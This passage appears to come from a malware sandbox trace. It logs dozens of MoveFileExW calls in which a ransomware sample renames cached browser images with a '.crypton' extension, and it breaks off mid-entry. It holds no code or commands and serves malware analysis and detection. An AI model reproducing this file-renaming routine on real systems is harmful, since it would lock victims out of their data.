files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.751] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.758] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04ok[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04ok[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.766] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04we[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04we[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.776] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.780] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC05rl[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc05rl[2].jpg.crypton"), dwFlags=0x2) returned 1 [0198.789] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0ATj[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0atj[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.793] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0D8i[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0d8i[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.800] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0g7a[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0g7a[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.807] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0w1b[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0w1b[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.815] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC0xLt[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc0xlt[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.818] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBDWA22[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbdwa22[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.823] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE7d3b[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe7d3b[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.831] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBE85ld[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbe85ld[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.838] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdckp[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedckp[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.842] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdMci[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedmci[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.850] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEdSLV[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbedslv[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.854] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe2Pd[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee2pd[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.865] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe4Oo[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee4oo[1].png.crypton"), dwFlags=0x2) returned 1 [0198.871] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEe6Ew[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbee6ew[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.880] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeFp3[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeefp3[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.884] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeGwU[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeegwu[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.888] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeUg0[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeug0[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.898] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEeZnr[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeeznr[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.907] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEf5Lq[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbef5lq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.911] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfwtU[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefwtu[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.918] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEfzSd[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbefzsd[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.924] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgCuQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegcuq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.930] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgHzB[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeghzb[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.945] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.955] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIl2[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegil2[2].jpg.crypton"), dwFlags=0x2) returned 1 [0198.962] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgIyL[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegiyl[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.969] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgkY6[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegky6[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.973] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgLzV[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeglzv[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.984] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgUri[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbeguri[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.991] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBEgXBv[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbegxbv[1].jpg.crypton"), 